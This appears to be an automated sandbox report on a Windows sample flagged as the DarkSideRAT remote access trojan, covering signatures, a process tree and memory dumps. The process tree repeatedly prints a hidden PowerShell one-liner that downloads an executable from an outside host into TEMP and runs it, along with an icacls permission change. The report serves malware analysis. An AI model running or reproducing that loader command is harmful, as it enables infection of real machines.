Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/08/2026, 02:01
General
- Target 2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe
- Size 3.3MB
- Sample260809-cflxdaybna
- SHA256 ddd77e0128192b68d5697d4a4e9fd7b28df585c0bfe3c57bb16770bf58c5c9be
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BK592960.exe"C:\Users\Admin\AppData\Local\Temp\BK592960.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\licensingdiag.exe"C:\Windows\System32\licensingdiag.exe"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe" --setup "C:\Program Files\Sn-cheat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BK592960.exe"C:\Users\Admin\AppData\Local\Temp\BK592960.exe"6⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Sn-cheat" /grant "Users:(OI)(CI)M" /T /Q >nul 2>&13⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Sn-cheat" /grant "Users:(OI)(CI)M" /T /Q4⤵
- Modifies file permissions
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
BK592960.exe
__PSScriptPolicyTest_tkso0zj5.xxo.ps1
memory/2384-55-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-51-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-58-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-37-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-47-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-54-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-57-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-56-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-38-0x0000017FCF430000-0x0000017FCF431000-memory.dmp
memory/2384-53-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-52-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-45-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-50-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-49-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-48-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-46-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-44-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2384-39-0x0000017FCED10000-0x0000017FCF429000-memory.dmp
memory/2688-2-0x000001A2ECD70000-0x000001A2ECD92000-memory.dmp
memory/2688-1-0x000001A2EAB80000-0x000001A2EAB90000-memory.dmp
memory/2688-0-0x000001A2EAB80000-0x000001A2EAB90000-memory.dmp